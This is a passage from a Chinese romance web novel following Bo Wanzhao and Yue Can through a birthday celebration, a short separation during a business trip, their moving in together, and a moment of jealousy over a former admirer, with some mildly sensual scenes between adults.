“你晚上有安排吗?”赵茹问着,似乎笃定了薄晚照不会有什么安排,没等薄晚照回答就继续说着,“晚上我们一起吃饭?” 薄晚照莞尔,“已经有安排了。” 赵茹愣了下,“有应酬吗?” 薄晚照笑说:“我女朋友陪我过。” 赵茹僵了更长一段时间,尔后,她也不可思议笑了笑,“放不下的那位,你们在一起了?” 薄晚照点点头。 赵茹说:“恭喜,终于得偿所愿了,能被你喜欢这么久,她很幸运。” 薄晚照顿了下,认真笑说:“是我很幸运。” 赵茹第一次听薄晚照这样说话,甚至有点儿卑微的味道,在她的印象中薄晚照一直优秀骄傲。她朝薄晚照道:“你真的很爱她。” 薄晚照下去一楼,一出电梯,看见越灿捧着一大束花在等她,笑容灿烂,她瞬间绽开笑意,空气中已经飘来了带着甘甜气息的花香。 越灿今天没接工作,早早就过来等薄晚照下班了,她快着脚步,带着花束给了薄晚照一个大大的拥抱。 “生日快乐。” 薄晚照笑她,“今天说好多遍了。” “就要多说几遍。”越灿较真,欠下了好多句。 “嗯。”薄晚照感觉自己像是抱住了一团明媚的阳光,一如当年一般热烈——她永远记得那年去西城,越灿奔跑在阳光下抱住她的情形,让她明白,原来拥抱是可以驱散阴霾的。 回到车内。 越灿捯饬着安全带,然后看向薄晚照,说了声:“安全带卡住了……” 薄晚照俯身去看,明明好好的,她瞧一眼越灿。 小把戏成功了,越灿露出得逞的笑,凑在薄晚照唇上吻了好几秒后,俏皮笑说:“你那天欠我的。” 薄晚照目光温柔,压过唇,同样吻了她好几秒。 每一个亲吻都开始有回应,越灿望着她眼眸,“薄晚照。” 薄晚照:“嗯?” 越灿眼里心里,哪哪都是心动,多得快要无处安放了,“你甜死我算了。” 第72章 越灿要最好的。 薄晚照唇边的笑意深了深,她觉得越灿这句话应该由自己来说。 开车回去,一路越灿脸上都挂着笑,这几天她感觉整个人都被粉红泡泡包围着,跟薄晚照发几句简单的消息,碰一下手,或是无声对视一眼,都会觉得甜。 晚上她们在家庆祝,比起去外面吃,越灿猜薄晚照应该更想待在家里,就她们两个人。 她们到家时天已经黑了。 开门后,薄晚照在玄关停住脚步,房间里精心布置过,温馨浪漫,桌上摆好了精致丰盛的生日宴。 薄晚照怔住几秒。 越灿一脸期待看向薄晚照:“惊喜吗?” 薄晚照暖心笑,“嗯。” 越灿知道自己的厨艺撑不起生日宴,下午特意让胡姨过来做的,胡姨中餐西餐都擅长,手艺没得挑。 “快过来。”越灿笑着牵她往里走,薄晚照看到沙发上摆着大大小小的礼物盒。 薄晚照:“这么多礼物?” 数了数,整整有八份。 “一年一个,加上今年的。”越灿想补上错过的那些,算是弥补遗憾,如果当初薄晚照没离开,她一定每年都会给薄晚照准备生日礼物。 薄晚照动容,“不是说简单点过?” “这又不复杂。”越灿笑着说。她每年生日都要跟朋友聚会开趴,折腾热闹一番,在家庆祝确实算简单了。再者说,对喜欢的人怎样都不会嫌麻烦。 薄晚照默了默,对她来说,这样的用心准备算很复杂了。 越灿又说:“过生日当然要有点儿仪式感,而且这是我陪你过的第一个生日。” 薄晚照上前一步,静静搂过越灿抱了抱,“谢谢。” “不要说谢谢。”越灿小声吐槽着,偏头在她脖子上轻咬一口,又强调一遍,“我是你女朋友。” 薄晚照笑,还抱着她。 越灿多抱了一会儿,她知道薄晚照从小到大没被这么在乎过,又想到薄晚照经历过的,很心疼。片刻,她放轻了嗓音,“以后每个生日我都陪你,好不好?” 薄晚照柔声应她:“好。” 越灿关了灯,在奶油蛋糕上点亮生日蜡烛。 薄晚照看摇曳的烛火映亮她好看的脸庞,又甜又暖。 “你一直盯着我干嘛?”越灿抬头看,催她,“许愿了。” 薄晚照以前不在意这些形式,但今晚,她第一次对着生日蜡烛虔诚许了愿——祝她们,年年有今日,岁岁有今朝。 她们晚餐没吃太饱,特意留了点胃吃生日蛋糕,小脏脏包也嘴馋,围着她们腿边打转撒娇,越灿只好投喂些零食给她解馋。 送的礼物里有拍立得,越灿举着相机拍了一晚上,将点点滴滴的瞬间都记录下来,有给薄晚照单独拍的,也有很多两人的合照,拥抱,还有偷偷亲吻。 越灿坐在沙发上,吃着蛋糕,饶有兴致拉着薄晚照看今晚拍的照片,某人每一帧都在笑,让她很有成就感。 薄晚照的心思不太在照片上,时不时偏头看看越灿脸上的笑,晚上她们喝了红酒,虽然越灿没喝几口,但还是红了脸颊。她瞧越灿微红脸的模样可爱,忍不住将人拉了过来,搂在怀里抱着。 越灿扭头看看,配合换了个更腻歪的姿势,让她能更舒服地抱着自己。 空气里飘着奶油蛋糕的香甜,时间的节奏在拥抱间被放缓,越灿平静看着身畔的人,相视而笑,希望时光在她们之间一直这么缓下去。 薄晚照手指沾到些蛋糕,心血来潮擦在越灿脸上,画出不长不短的一笔。 “薄晚照,你就爱欺负我是吧?”越灿放下手里的照片,笑着转过身,故意用沾了奶油的脸往薄晚照脸上蹭,挺幼稚但又欢乐的行为。 玩闹间俩人抱得更紧,薄晚照笑得肩头微颤,越灿撒起娇来时像猫,喜欢各种蹭。 越灿总能被这笑撩得小鹿乱撞,她用手指碰碰薄晚照扬起的唇角,像在描绘笑容,她小声问:“今年的生日过得快乐吗?” 她知道“快乐”对薄晚照来说,太弥足珍贵了,而她想把这份弥足珍贵,变成薄晚照的寻常。 “快乐。”薄晚照握住她的手,三十二岁,她过了迄今为止最幸福温暖的一个生日。 越灿看见她眸底都是自己,笑得开心。 窗外传来淅淅沥沥的声音,下起雨来,越灿看了看,收紧了搂在薄晚照腰间的手臂,及时送上更深的拥抱。 薄晚照察觉到越灿的敏感和紧张,她轻抚越灿后背,笑说:“没事,已经不怕下雨了。” 越灿看看她,“不怕了?” 薄晚照点点头,她注视越灿良久,如实道:“下雨的时候,想起你更多。” 在不知不觉间,越灿在雨天给她的那些温暖驱逐了曾经的糟糕。每每下雨,她开始想到越灿更多…… 一句变相的表白,越灿心头热呼呼的,她曾经总以为自己对薄晚照来说没那么重要,甚至可有可无。今天生日,不想弄得气氛太伤感,她转而笑了笑,“原来你这么会说情话?” “没你嘴甜。”薄晚照也笑,温柔摸了摸越灿头发。她不怎么会爱人,但有幸碰到了一个很会爱人的女孩,愿意一直喜欢她,也教会了她很多东西。 越灿眼底含笑,悄声接上一句:“是啊,我嘴甜你最清楚了,就你尝过。” 薄晚照心动了动,越灿的眼睛很亮,像会说甜言蜜语,但又真挚热忱。她勾过越灿下巴,凑近唇,然后情不自禁开始接吻。 这个吻让越灿心动燎原,她闭眼沉浸,刚吃过蛋糕,添了几分甜蜜。 薄晚照不是蜻蜓点水般浅吻,而是唇舌交替的深吻缱绻,贪婪强势。 越灿很快被吻得呼吸急促,不得不承认,薄晚照好会勾人,每次都惹得她亲不够,又哼又喘,跟欲求不满似的。 两人你来我往湿吻了许久,才轻喘着分开。 越灿望着薄晚照的脸,还溺在甜蜜里,尽管她脑补过很多跟薄晚照谈恋爱的情形,但现实跟想象中出入很大,她完全没想过薄晚照会这么主动。 她又想到那天薄晚照跟她说,想要补偿,所以这份热情主动,是补偿的一部分? 薄晚照问她:“发什么呆?” “你这么主动,是在补偿我吗?”越灿直接问道,她自然不希望薄晚照是在补偿,一方面她不想薄晚照带着负疚感,另一方面她贪心,她希望薄晚照这样纯粹是出自喜欢。 越灿继续说着,“我不要你补偿我……” “是因为喜欢。”薄晚照一句话止住了她的胡思乱想。 越灿静了静,即便自己没全说出口,薄晚照还是能猜中她的心思,心一下踏实了。她在薄晚照鼻梁上亲了口,脸上写满得意的小表情,“喜欢到把持不住么?” 薄晚照满足她的得意,“是。” 越灿直笑,看理智一丝不苟的人亲口承认自己把持不住,挺奇妙的。 “灿灿。” 越灿每次听她这么叫自己,心间都翻涌甘甜。 薄晚照以前不这么亲密叫她,是觉得越灿不是她能肖想的人,总刻意带上距离感。 “如果我有做得不好的地方,要告诉我。” 越灿在她腰上摸了摸,“已经很好了。” 薄晚照眼神认真,“越灿要最好的。” 她说话总是平和冷静,但比甜言蜜语还要来得令人心动,越灿感觉自己今晚要被撩死了。 “对我要求可以多一点的。”薄晚照又说道,她不想总是越灿在努力拽着她往前走,各种小心翼翼温暖她,她凝视越灿眉眼,“我也舍不得自己女朋友受委屈。” 越灿有点儿鼻酸,笑着点头,“好。” 当初薄晚照离开后,她曾经较劲想着,她以后一定要喜欢一个足够喜欢自己的人,会对自己主动,会敞开心扉,不会让自己喜欢得委屈辛苦。 她现在遇到了…… 这个人还是薄晚照。 第73章 要教? 初冬夜晚因为拥抱温暖,薄晚照又揽着越灿的腰往自己怀里搂了搂,喜欢抱紧些。 越灿心甘情愿当着人形抱枕,想到薄晚照明天就要飞国外,她脸上笑容淡了淡,“明天就要走了。” 薄晚照本来今天就该出差的,她特意推延了一天出发,就是为了留在国内和越灿一起过生日。 越灿在心里算着日子,要小半个月见不着面,她们兜兜转转等了这么多年,才在一起就要分开。 薄晚照也不舍,“每天给你打视频电话。” “嗯。”越灿应着,脑袋钻进她颈窝里轻蹭,想到薄晚照明天要走,蹭着蹭着,她开始不规矩。 薄晚照仰了仰脖颈,敏感怕痒,渐渐,亲吻从后颈一路吻到了耳根,勾起心跳加速。 越灿亲了几口,心血来潮想到什么,她伸手帮薄晚照挽起了一头长卷发,露出修长白皙的脖颈。 挽起头发也好看,越灿傻傻盯着,看入迷了片刻,然后笑着将奶油抹上薄晚照脖颈,像是在报复刚刚薄晚照的欺负。 薄晚照笑她幼稚,等越灿靠近时,她猜到什么,果不其然,带着潮热气息的舔吻很快在她脖颈上蔓延开,她叹了叹气,对皮肤的触碰实在过于敏感,难以自控地哼出低吟。 越灿在她脖颈上黏腻吻着,贪婪尝不够。 薄晚照忍着酥痒,清瘦漂亮的手扶着越灿后脑,轻推了推,不让她把吻痕留脖子上,哑着嗓子跟她说:“往下面点。” 越灿喝了酒,状态微醺,更没脸没皮,她红着脸啄薄晚照唇瓣,故意暧昧问:“往哪个下面?” 薄晚照眼神微动,她处变不惊,顺着越灿的话,柔声反问:“要教?” 这对话听得人心里发紧,越灿欲言又止,还没反应过来,自己被抱倒在了沙发,她心怦怦跳,仰头朝身上的人直笑。 薄晚照笑得温柔。 越灿勾住她脖子接吻。衣衫凌乱从沙发滑落。 薄晚照含笑,指尖轻轻点着。 越灿目光软了软,看见奶油蹭在自己鼻尖,唇珠,下巴,凉丝丝的……接着是起伏的小/峰,薄晚照动作慢了,她吸气轻颤,双颊烫红。 薄晚照低声问:“是想这样?” 听到薄晚照一本正经的口吻,越灿原本醉红的脸上红晕更重,不想说话,没防备,反过来被欺负了。 薄晚照笑得更深。 “薄晚照。”越灿羞恼,她十几岁时就发现了,薄晚照虽然看着文静温和,但却很爱逗自己,蔫儿坏。 薄晚照低头亲她鼻尖,唇珠,下巴,贴唇顺着甘甜一路下去。 “嗯。”越灿招架不住这过分温柔甜蜜的吻,当含着奶油的亲吻反复落下,柔/软变翘/挺,她垂眼咬唇,浑身绵软。 她瞥着薄晚照热忱主动的模样,心动更强烈。 原来冰山一旦喜欢上,便会将热情全部拿出来,毫无保留。 被细致“教”了遍后,越灿不甘示弱,笑着朝薄晚照一一欺负回去,吃不得半点亏似的。 而薄晚照总是由她任性。 亲吻声和笑声夹杂在一起,一整晚气氛甜蜜。 不舍要分开,这晚她们回到房间,床上辗转,互相缠得热切。 …… 次日上午,越灿送薄晚照去机场。 还是熟悉的航站楼,薄晚照尤记得当初她独自离开南夏时的落寞黯然,这一次不一样,有越灿陪在她身边。 临安检时,越灿恋恋不舍给了薄晚照一个拥抱,告诉她:“等你回来。” 薄晚照眷恋,“嗯。” 越灿又笑着提醒:“要想女朋友。” 薄晚照被这声撒娇甜到,笑着揉了揉她脑袋。 机场人来人往,她们没抱太久,拥抱间心照不宣,都悄悄吻了吻对方头发。 薄晚照出国后,越灿还是原来的生活节奏,虽然她多年都是一个人,但有了女朋友毕竟不一样,一个人变得难熬。 分开第一晚就在想念了,前几晚都有薄晚照睡在她身边。 薄晚照更不用说,对她来说,越灿的拥抱比任何药物都安定助眠。 她们每天会开一会儿视频,但开不了太久,异国有时差,薄晚照工作行程又安排得紧。 南夏又下了两天雨。 周五晚上,越灿被钟然叫出来小聚。 越灿时不时看手机,薄晚照估计在忙,还没有回她消息。 钟然看越灿魂都像被勾走了,夸张“啧”了几下,笑她:“想女朋友了啊?” 越灿用吸管搅着杯里的饮料,点头承认。 钟然托托腮,终于有了调侃越灿的机会,“哎,你不是不想谈恋爱吗?现在谈得这么起劲?我看你就是想跟薄晚照谈。” 是实话,越灿没反驳。 “还说什么不吃回头草,我差点信了你了,看你现在吃得比谁都香。”钟然嘴上损着,心里还是为好朋友开心,越灿早点面对真实想法也好,否则一天天嘴硬,简直是自己折磨自己。 越灿随她说完,然后不紧不慢回击:“你还说你跟洛扬是纯友谊呢?你还不是跟洛扬纯到床上去了?” 钟然语塞,不互相伤害了,她轻叹了叹气。 一顿饭的功夫,越灿听钟然叹了好几声气,“怎么了?跟洛扬吵架了?” 钟然:“她家催她相亲,她爸妈都是老干部,出柜肯定很难……” 越灿:“那就先瞒着。” 钟然磨磨蹭蹭,还是说出了顾虑,“你知道洛扬一直是很听家里的话,万一闹得……” 越灿笑着安慰她,“你别想多了,洛扬肯定会对你负责的,你不觉得她更听你的话吗?” 两人从小一块长大,钟然了解洛扬的性格,又安心了些,她这时想到越灿跟薄晚照,越灿老妈要是知道这俩人姐妹变情侣,那不得更刺激? “灿灿,你妈要是知道你和……”话说一半,钟然及时收了收,越灿才跟薄晚照走到一起,不适合聊这么现实的话题。 越灿知道钟然想说什么,这个问题她不是没考虑过,七年前她就想过,毕竟七年前薄晚照跟她说,只能把她当妹妹……那时候她没底,但现在她跟薄晚照都足够独立成熟,有能力面对更多。 周末,越灿回了趟家。 回去时谭茗还没回来,胡姨在厨房准备晚餐,越灿走进厨房。 胡姨回头笑盈盈问:“饿了?” “不是。”越灿闲着也是闲着,“姨,你教我做药膳吧,先教简单点的。” 胡姨不可思议愣了愣,“你学这个干嘛?” “就是想学。”越灿看薄晚照挺爱喝胡姨煲的汤,也不能每次都叫胡姨过去做饭。 “行,姨教你容易的。” 谭茗忙完应酬一身疲惫,天黑才回到家,她在玄关看到了越灿的鞋,知道磨人精回来了。 “回来了?” 听到谭茗的声音,越灿在厨房应了应,“嗯。” 谭茗走到厨房一看,发现越灿挽着衣袖在煲汤,还有模有样,不禁感叹:“唷,今天什么日子?我们大小姐亲自下厨。” 胡姨笑着跟谭茗解释:“灿灿想学做饭。” 谭茗也意外笑了下,问越灿,“怎么回事?” 越灿说:“技多不压身。” 谭茗:“模特干腻了,你要转行当厨师?” 越灿服了老妈的脑洞,她继续忙碌,唇边带笑。 也太反常了,谭茗目光在女儿身上打量许久,她抱了抱胳膊,偏着脑袋喊了声:“越灿。” 越灿又抬抬头,轻快问:“怎么了谭总?” 谭茗直接问她:“你是不是谈恋爱了?” 越灿稍愣,表现得有这么明显吗?这些天她被人问了好几次,是不是谈恋爱了。 谭茗本来还是半猜,一看越灿这反应,就确定了百分之八十,“终于谈恋爱了?” 用“终于”来形容没毛病,谭茗想想好笑,从越灿十七岁时她就担心越灿早恋,结果快到二十七也不见越灿谈,敢情她那些年白担心女儿早恋了。 太突然,越灿还没想好怎么说,于是先否认,“没有。” “谈就谈了,有什么好否认的?哪天带回家给妈看看。”谭茗还挺期待的,这么多年,到底是什么样的人终于入了宝贝女儿的眼。 “真没有。”越灿继续嘴硬,性取向的事她没告诉过谭茗,谭茗虽然还算好沟通,但她不知道谭茗的接受程度,尤其是,当对方是薄晚照…… 谭茗知道越灿嘴硬的时候,是问不出东西的,便不再催问,只是笑笑。 晚上越灿开车回去,收到个快递,礼盒里面有一本画册和两张画展门票。 画册扉页签了名,越灿收到后心情大好,柏玉今年刚好要来南夏开画展,还给自己寄了门票。 柏玉是她很喜欢的插画师,年少成名,在国际上很有名气。前些年两人偶然在网上聊了几句,后来只要出新的作品,柏玉都会送她一份。 越灿当时还很诧异,因为柏玉是出了名孤僻高冷,这样一个人居然会主动找到自己,还说是自己粉丝。 柏玉是华裔,常年在国外,越灿只跟她见过一次面,但两人在网上有联系,一来二去便熟络起来。 收到越灿发来的消息时,薄晚照那边是下午,她正在酒店房间休息,晚点有个宴会,刚好还有时间,她给越灿打了视频电话。 一接通视频,她看到越灿坐在阳台的单人椅上,怀里抱着小脏脏包,身后是璀璨夜色。 越灿正好跟薄晚照说了看画展的事,聊起自己感兴趣的话题,分享欲很足,“你知道柏玉吗?” 薄晚照稍顿,“嗯。” “等你回来,我们一起去看她的画展。”越灿得意说着,“柏老师特意给我留了票,她还是我粉丝呢,我是不是很厉害?” 薄晚照看越灿兴高采烈的模样,也笑了很久,“是,很厉害。” 没有什么特别的事,但也能有的没的说上很久,就想多看看对方。 越灿本来想说谭茗猜到她谈恋爱了,想问薄晚照怕不怕谭茗知道她们的关系…… 不过犹豫了片刻,她还是没提这件事,她又问薄晚照:“你什么时候出发?” “待会儿。”薄晚照拿了两条裙子过来,正好让越灿帮她挑,“穿哪条合适?” 越灿:“你试给我看。” 薄晚照有求必应,两条都试了一下。 隔着屏幕,越灿看得心痒,薄晚照穿浅色和深色都好看,最后她选了深色那条。 国内时间不早了,薄晚照说着她,“你还不睡?” “我睡不着。”越灿盯着屏幕里的人,“想你了,想抱你……” 说得腻歪,越灿不觉得自己多爱撒娇,但面对薄晚照就是很自然而然这样,肉麻就肉麻,她知道不管自己怎样,薄晚照都会温柔包容她,一如当初。 听越灿这样一说,薄晚照也想快些回去,她静了静,“等我回来,我们搬一起住。” 越灿不自觉绽开笑意,她朝薄晚照挑挑眉,“怎么,你想每天勾引我啊?” 又没个正经,薄晚照被惹得笑了笑,她悠悠问越灿,“你不想?” 越灿歪了歪脑袋,偏不让她得逞,说着:“我还好。” 薄晚照:“是吗?” 越灿笑得乐呵,这聊天挺幼稚的,而让她动容的是,薄晚照会陪她幼稚。 还想说更多时,薄晚照听到了门铃声,她往门口方向看了看。 越灿眼底失落,知道大忙人没空了,她恢复正经的口吻朝薄晚照说:“你忙去吧。” 薄晚照:“早点睡别熬夜,晚安。” 越灿无奈点着头,挂断视频后,没一会儿,她瞧见置顶对话框弹出一条新消息。 【bwz】我想 越灿盯着这条消息傻笑,心底又燥了燥,更睡不着了。 第74章 可以依赖我。 越灿还没困意,抱着小脏脏包多逗了会儿,在一起后,她每晚都留在薄晚照这过夜,除了没正式搬过来,其实她们跟同居也没多大区别。 薄晚照出差之后,越灿晚上还是住在她这,能吸吸猫,打发无聊时间。 越灿想起给柏玉发了条消息,问她有没有回国,如果柏玉今年来南夏,她肯定得做东请柏玉吃顿饭。 柏玉第二天回了她的消息,说是会来南夏。 越灿说了见面吃饭的事。 柏玉答应得挺爽快。 越灿工作自由度高,闲下来时能闲得头上长草,忙起来时十几个小时连轴转,最近得闲的时候,她就让胡姨教她煲药膳汤,沉迷下厨房,厨艺见长。 某人回来要有口福了。 越灿没闲几天,工作又压了过来,她辗转于各个摄影棚。 薄晚照也忙碌,一直等到十一月下旬,她才处理完在国外的工作,忙完后她第一时间待启程回南夏。 不同于上一次的忐忑,这一次满怀期待和欣喜,心里始终是暖的,因为知道有人在等她。 夜深。 越灿结束工作到家不久,这两天拍摄节奏紧,她懒洋洋揉着后颈,歪在沙发上给薄晚照发了条语音:“忙完回来了,累到散架了。” 没等两秒。 【bwz】累就早点休息 越灿又对着手机话筒慵懒笑说:“嗯,我今晚早点儿睡,明天见。” 【bwz】睡醒就能见到了 越灿回了个小狗撒欢的表情包,开心溢于言表,这小半个月像等了小半年,明天终于不用独守空房。 薄晚照看看窗外,此刻收入眼底的已经是南夏夜色,她没告诉越灿是夜深的航班,否则以越灿的脾气,不管多累都会来接她。 越灿这两天确实累到了,本来只是打算在沙发上躺会儿,结果稀里糊涂就睡了过去。 南夏最近降温得厉害,湿冷。 薄晚照风尘仆仆到家是十一点后,她轻轻打开门,客厅里的灯还亮着。 越灿侧卧在沙发上睡着了,小脏脏包蜷在她旁边休息,好在房间里有地暖,足够温暖。 小猫听觉灵敏,立即从沙发上窜了下来,跑到门口迎接。 越灿睡得挺熟,加上薄晚照动作轻,她没有马上察觉,直到门被关上时,电子锁发出提示音,她听到动静,才晕沉沉睁开眼。 醒来睁眼就看到薄晚照,越灿懵了下,一瞬以为是错觉,不过很快又反应过来。 薄晚照在玄关脱了厚重的大衣,只穿着件薄毛衣,走近问:“怎么睡在沙发上?” 越灿从沙发上起身,她望着薄晚照,“不是要……” 薄晚照笑,还没说什么,先把人拽过来抱一抱,熟悉的温暖带来安心。 足够真实的体温让越灿以最快的速度清醒,她也一把抱住薄晚照,太惊喜,弄得她心脏扑通直跳。她近距离盯着薄晚照的脸,眼睛里也满是惊喜和笑意,“不是要明天么?” 薄晚照这次赶得很急,一天都没多等,第一时间回来的,“和你说了,醒来就能见到了。” 原来是这个意思,越灿开心得顾不上说话,就近在她唇上亲了好几下。 薄晚照也吻了吻她嘴畔的笑。 空气一下甜了起来,越灿贴着她的唇,低声问:“想我没啊。” 薄晚照摸着她脸颊,“想。” 越灿唇边始终扬着,她在薄晚照唇上咬一口,她还以为要明天才能见着,“你怎么不告诉我是今晚,我好去……” 薄晚照暂时没应话,红唇温柔堵了过去。 越灿及时安静,立即张了张唇,默契衔住送过来的吻,贪婪吞着对方气息。 分别过后的第一个亲吻,无声热烈,加倍甜蜜,缠绵心动。 越灿反复吮吸着红唇,在薄晚照唇舌间尝到了同样的想念,被喜欢的人惦记真的是很幸福的一件事,她心跳仍然快得不行。 薄晚照托着越灿脸颊多亲了一会儿,才分开唇。 两个人又抱了许久,拥抱最能满足思念了。 越灿猜薄晚照是不想自己半夜去机场,才故意说明天回来,她看薄晚照脸上的淡妆掩不住疲惫,心疼问:“你在飞机上没睡?” “睡不着。”薄晚照倦得很,就想回来抱着越灿好好睡一觉,“想回来抱你睡。” 也太腻歪了,越灿笑着说:“我发现你好不害臊啊,都一把年纪了。” 薄晚照还是舒服抱着她,低语:“嫌我年纪大?” 越灿抿唇笑,趁机亲一口,“二十四岁喜欢,三十二岁也喜欢,多少岁都喜欢。” 薄晚照笑笑,嘴甜得很。 已经夜深了,越灿想到薄晚照飞了十几个小时都没好好休息,催她先去洗澡。 冲完澡回到房间,越灿看到薄晚照在床上睡下了,她轻手轻脚上床,才躺下就被薄晚照搂了过去。 抱在一块儿后,越灿摸到光溜溜的腰背,才发现薄晚照连睡衣都没穿,她以为薄晚照是太累了,“我给你拿睡衣?” 薄晚照闭眼哼道:“不用。” 越灿无奈,难道就这么抱着睡么?过了两秒,她呼吸乱了乱,薄*晚照在解着她身上的睡袍,一点点扯开,她悄声问:“不睡觉?” 薄晚照朝她喃喃一句:“睡衣脱了。” 带了点命令的味道,越灿呼吸更乱,配合着,身上的睡袍被褪下,皮肤相贴,拥抱更滚烫。 薄晚照深吸了吸气,贪恋没有束缚的拥抱,温热的体温安抚身体,舒服放松。 越灿本来还困,被这么一勾完全没了睡意,她心痒看看薄晚照,过了两秒,忍不住凑过去吻她唇瓣。 薄晚照闭着眼,半睡半醒的状态,热吻缠了上来,她只浅浅回应了几下。 越灿侧了侧身,凑唇吻得更深,手扶着纤瘦的腰滑过下腹,指尖欲要挑逗。 “规矩点。”薄晚照含糊轻叹一声,宛如梦呓。 越灿:“……”到底是谁不规矩,脱了自己的衣服就只抱着? 薄晚照实在没精力,眼下只想好好睡一觉。 越灿看薄晚照满脸疲倦,昏昏欲睡,她收敛冲动,只好规矩抱着她休息。她轻声问:“喜欢裸/睡啊?” 薄晚照低喃说:“你知道皮肤饥渴症吗?需要被抱和抚摸,才会有安全感。” 越灿稍怔,她想起薄晚照对触摸和拥抱格外敏感,“你也这样?” “嗯。”薄晚照承认着,“我以前不敢抱你,怕产生依赖。” 她抵触依赖别人,因为一路的经历告诉她,只有自己才是自己的依靠。她一直怀着这种心态,抗拒别人走进她的世界,但还是有个女孩抱着一腔热情闯了进来,让她想抓住,即便不安,也忍不住把真心给出去。 越灿适时抱紧她,心疼着说:“可以依赖我,我会一直在你身边。” 薄晚照收紧着双臂,拥抱很深,像要将怀里的人揉到骨子里,越发依赖,她安静亲了亲越灿耳朵。 相拥而眠的姿势一直维持到第二天上午。 越灿醒来时,薄晚照还从身后搂着她,身子贴紧她后背,手臂缠在她腰间,亲密粘人。 她转了转身,面对面抱上身畔的人,注视薄晚照脸庞良久,一大早沉湎美色了,忍不住偷亲一口。 见薄晚照没醒,她再亲一口。 这样一连让越灿亲了好几下,薄晚照才从装睡中睁开眼,瞧着怀里的人笑。 被抓包,越灿也别扭笑。 这一眼对视让空气格外甘甜,越灿忽然迫不及待想搬过来了,想每天早上都能这样。她在被褥里揉揉薄晚照的腰,说着:“我今天搬过来。” 薄晚照笑她:“不是还好吗?” 越灿理直气壮:“我这是满足你的愿望。” 薄晚照顺着她:“好。” 她们就住在楼上楼下,东西搬起来也方便,正好今天有空,午饭过后,两人将房间重新整理了下。 这次去国外,薄晚照回来时多了个行李箱,全是礼物。 越灿看了看,衣服,高跟鞋,包,香水,“都是给我的?这么多?” 薄晚照说:“不多,欠下好多礼物。” 越灿沉默,她们都太想弥补错过的那些年了,她细心发现,薄晚照对她喜欢的品牌简直了如指掌,明明她们分开了这么多年…… 正式同居怎么也要庆祝庆祝,越灿迫不及待展示厨艺,下午拉着薄晚照去逛超市买菜。 越灿拿了一盒排骨,跟薄晚照说:“我要吃你做的糖醋排骨,好久没吃了。” 薄晚照瞥向她,“不是说口味变了,不爱吃了?” 越灿发现某人好记仇,“爱,还爱得要命,行了吧?” 薄晚照勾唇笑,牵上她的手,继续逛。 两个人一起生活要囤更多食材,她们提了好几袋,满载而归。 正准备做饭,越灿手机铃声响了,薄晚照看她腾不开手,走去帮她拿手机。 看着来电备注,薄晚照目光顿了顿,余闻,她有印象,先前跟越灿关系暧昧的那位。 越灿擦了擦手,看到是余闻打来的,估计是说拍vlog的事,她接听,“喂?” 薄晚照站在一旁,看越灿听对方讲了许多。 越灿听余闻讲完后,面露尴尬,不过还是答应了,毕竟是朋友,余闻也帮过她不少忙。 薄晚照:“怎么了?” 越灿说:“我朋友不舒服,好像有点严重,得陪她去医院。” 薄晚照沉默片刻,淡声问:“这么紧张?” 第75章 干脸红心跳的事。 “哪有,就是普通朋友,你是不是想多了?”越灿听出薄晚照话里的潜台词,解释道,“她估计是不知道找谁帮忙,才给我打的电话。” 薄晚照静静瞧着她。 越灿哑然,解释起来有股欲盖弥彰的味道,毕竟余闻跟她表白过,薄晚照还知道这事。她原地为难,余闻以前帮过她的忙,人家都打电话了,她这时候也不能不管…… 想了片刻,越灿又拨了个电话出去,一个跟余闻的共同好友,她问对方有没有空,结果对方说自己不在南夏。 越灿头大,继续翻着列表里的联系人,看还有没有可以联系的,她跟余闻的共同好友本来就不多,这种事关系一般的,也不好意思开口麻烦人家。 一时半会找不到能帮忙的人。 这时缄默许久的薄晚照开了口,“走吧。” 越灿抬起头看她。 薄晚照主动说:“我陪你一起去。” 也只能这样了,越灿点点头,她望着薄晚照还是忍不住再解释一下:“之前我滑雪受伤,她送我去的医院,我欠她人情……” 薄晚照不动声色,“嗯。” 解释清楚,越灿舒了口气。 越灿穿上外套,带着薄晚照一起出门,余闻就住在附近的小区,开车几分钟。 乘电梯上了楼,越灿按响门铃,等着里面的人来开门。 薄晚照看她轻车熟路,以前应该没少来。 没多久门被拉开,余闻看起来脸色很差,苍白虚弱,越灿站在门口问她:“还好吧?” 余闻笑了笑刚准备说什么,看到越灿身边还有人一起,她先静了一秒,然后说着:“可能是吃坏东西了,麻烦你们了……” 薄晚照礼貌答:“不客气。” 越灿简单跟余闻介绍,“我女朋友,之前你们见过。” “女朋友?”余闻显然意外,她愣着笑了笑,“你们在一起了?恭喜。” 现在不是闲聊的时候,越灿看她状态挺不好的,上前一步,“走吧,先送你去医院。” 余闻看这个情形,有点不太好麻烦越灿了,但人都已经叫了过来。 她们直接去附近的医院看急诊,越灿开的车,薄晚照陪余闻坐在后排。 余闻不太好意思,“麻烦你们跑一趟,下次请你们吃饭。” “没事,我平时没少麻烦你。”越灿轻快说着,她对朋友都不错,所以人缘极佳。 “哪里,都是朋友。”余闻笑说,弄得莫名尴尬,她还不知道越灿脱单的事,否则也不会打电话叫越灿过来了,她在心里苦笑,看来自己是一点机会都没有了。 简单说了几句,车内保持安静的状态。 薄晚照一直没说话,越灿抬眼看看车内后视镜,忍不住瞥瞥后排的情况。 薄晚照也抬眼,恰好捕捉到这一幕……就紧张成这样? 越灿转而继续目视前方,又驶过一个路口,离目的地越来越近。 薄晚照往窗外瞥瞥,已经华灯初上,闪烁的光影烦眼。她不露声色,想着什么,心里隐隐有点躁。 十几分钟后,越灿将车停在医院的急诊部外。 余闻下车后一时站不太稳,她正要上前扶一下,看到薄晚照已经搭了把手。 薄晚照看看越灿,小声说:“我扶着就行,你去挂号。” 看诊检查,在医院忙了一个多小时,余闻吃药后状态恢复不少,让她们先走,说自己回去就行。 越灿大大咧咧说没关系,还是开车送了余闻。 陪余闻看完病,回去已经八点多。 两人乘电梯上楼,站在电梯里,越灿扭头看看身边的人,她悄然靠近,牵过薄晚照的手握在手心。 薄晚照扭头看她。 越灿牵着手朝她笑,“饿不饿?晚上煮面条吃吧,我来煮。” 薄晚照轻声:“还好。” 电梯这时候到了,薄晚照走在前头,越灿跟上她脚步,不知道是不是自己敏感,她觉得薄晚照格外安静。 回去后,小脏脏包一路小跑迎了过来,薄晚照弯腰抱起小猫,圈在怀里,给馋猫喂零食。 越灿看薄晚照忙着逗猫,也走了过去,挠了几下猫下巴,她留意到薄晚照都没多看自己,厚脸皮开玩笑说:“你不应该多抱抱我么?” 薄晚照轻飘飘看她一眼,默然。 越灿也默了默。 吃完零食,小脏脏包从薄晚照怀里跳走,去别处玩儿了。 